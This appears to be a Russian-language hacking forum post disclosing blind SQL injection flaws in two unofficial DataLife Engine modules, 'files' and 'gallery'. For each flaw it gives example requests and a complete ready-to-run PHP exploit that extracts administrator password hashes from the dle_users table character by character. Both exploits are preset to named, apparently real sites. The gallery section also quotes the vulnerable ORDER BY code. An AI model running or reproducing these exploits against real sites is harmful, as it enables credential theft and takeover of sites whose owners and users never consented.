SQL-inj в неофициальном модуле files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
http://www.site.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,[b](select%201%20from%20dle_downloads))+--+
Эксплоит:[/b]
<?phpset_time_limit(0);/*-----------------------------------------------------*/ //Эксплойт для модуля Files(модуль файлового архива) к DLE//Автор: H00K/*-----------------------------------------------------*/ /*-----------------Настройки---------------------------*/ $host="symbiware.org";//указываем хост$catid = "38";//Указываем id существующей категории$userid = "0";//Указываем id администратора/*-----------------------------------------------------*/ $good = "MySQL Fatal Error";$bad = "Архив файлов";$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";$end = ",(select%201%20from%20dle_downloads),url)+--+";$index = 1;$result = ""; function GetMiddle($min, $max){ return floor($min+((($max+1)-($min-1))/2));} function Check($min,$max){ if (($max-$min)<=2) { global $index; global $result; global $host; global $path; echo "Символ найден: "; if (($max-$min)==1) if (CheckSQL($host, $path, $index.",1))={$max}")) $result .=chr($max); else $result .=chr($min); if (($max-$min)==2) { if (CheckSQL($host, $path, $index.",1))={$max}")) { $result .=chr($max); } else { if(CheckSQL($host, $path, $index.",1))={$max}-1")) $result .=chr($max-1); else $result .=chr($min); } } echo substr($result,strlen($result)-1)."<br>"; flush(); $index++; return true; } else return false;} function CheckSQL ($host, $path, $st){ global $end; $line=""; $fo = fsockopen($host, 80, $errno, $errstr, 30); if(!$fo){die ("no connect");} else { $headers="GET ".$path.$st.$end." HTTP/1.1rn"; $headers.="Host: ".$host."rn"; $headers.="Connection: Closernrn"; global $good; global $bad; fwrite($fo, $headers); while (!feof($fo)) { $line = fgets($fo, 512); if (strpos($line,$good)) { fclose($fo); return true; } if (strpos($line,$bad)) { fclose($fo); return false; } } fclose($fo); } return false;}if (CheckSQL($host, $path, $index.",1))+between+1+and+255")) echo (" Идет подбор символов...<br>"); else die("Ошибка"); for ($i=0;$i<32;$i++){ $min = 31; $max = 123; $ok = true; while ($ok == true) { $num = GetMiddle($min,$max); if (!check($min,$max)) { if (CheckSQL($host, $path, $index.",1))+between+1+and+{$num}")) { echo("Меньше $num <br>"); $max = $num; } else { echo ("Больше $num <br>"); $min = $num; } flush(); } else $ok = false; } }echo $result;?>
SQL-inj в неофициальном модуле gallery, в параметре news_sort
Уязв.код (news_sort) :show_cat.php
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort']; if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'"; $result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim");
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции
Пример запроса:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1Host: www.simfilife.netUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127Keep-Alive: 300Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 133news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
Exploit:
<?php set_time_limit(0); /*-----------------------------------------------------*/ //Эксплойт для неофициального модуля Gallery для DLE//Автор: l-l00K/*-----------------------------------------------------*/ /*-----------------Настройки---------------------------*/ $good = "MySQL Fatal Error"; $bad = "robots"; $host= "simfilife.net";//указываем сайт $path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию $body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),"; $index = 1; $result = ""; $end = ",(select 1 from dle_usergroups),0)&news_msort=DESC"; function GetMiddle($min, $max) { return floor($min+((($max+1)-($min-1))/2)); } function post_sql($host,$path,$post_body) { global $end; $post_body .= $end; $post_query = "POST ".$path." HTTP/1.1rn"; $post_query .= "Host: ".$host."rn"; $post_query .= "Connection: closern"; $post_query .= "Content-Type: application/x-www-form-urlencodedrn"; $post_query .= "Content-length: " . strlen($post_body) . "rnrn"; $post_query .= $post_body; $sock = fsockopen($host, 80, $errno, $errstr, 30); if (!$sock) die('Could not connect to host! '); fputs($sock, $post_query); global $good; global $bad; $answer = ''; while (!feof($sock)) { $answer .= fgets($sock, 1024); if (strpos($answer,$good)) { fclose($sock); return true; } if (strpos($answer,$bad)) { fclose($sock); return false; } } fclose($sock); return false;} function Check($min,$max){ if (($max-$min)<=2) { global $index; global $result; global $host; global $path; global $body; echo "Символ найден: "; if (($max-$min)==1) if (post_sql($host, $path, $body.$index.",1))={$max}")) $result .=chr($max); else $result .=chr($min); if (($max-$min)==2) { if (post_sql($host, $path, $body.$index.",1))>{$max}-1")) { $result .=chr($max); } else { if(post_sql($host, $path, $body.$index.",1))={$max}-1")) $result .=chr($max-1); else $result .=chr($min); } } echo substr($result,strlen($result)-1)."<br>"; flush(); $index++; return true; } else return false;} $bool = true;while ($bool==true){ if (post_sql($host, $path, $body.$index.",1))>0")) { echo ("Символ есть, идет подбор...<br>"); flush(); $ok = true; } else { echo ("Символы кончились <br>"); $ok = false; $bool = false; echo $result; } $min = 31; $max = 123; while ($ok == true) { $num = GetMiddle($min,$max); if (!check($min,$max)) { if (post_sql($host, $path, $body.$index.",1))<{$num}")) { echo("Меньше $num <br>"); $max = $num; } else { echo ("Больше $num <br>"); $min = $num; } flush(); } else $ok = false; } } ?>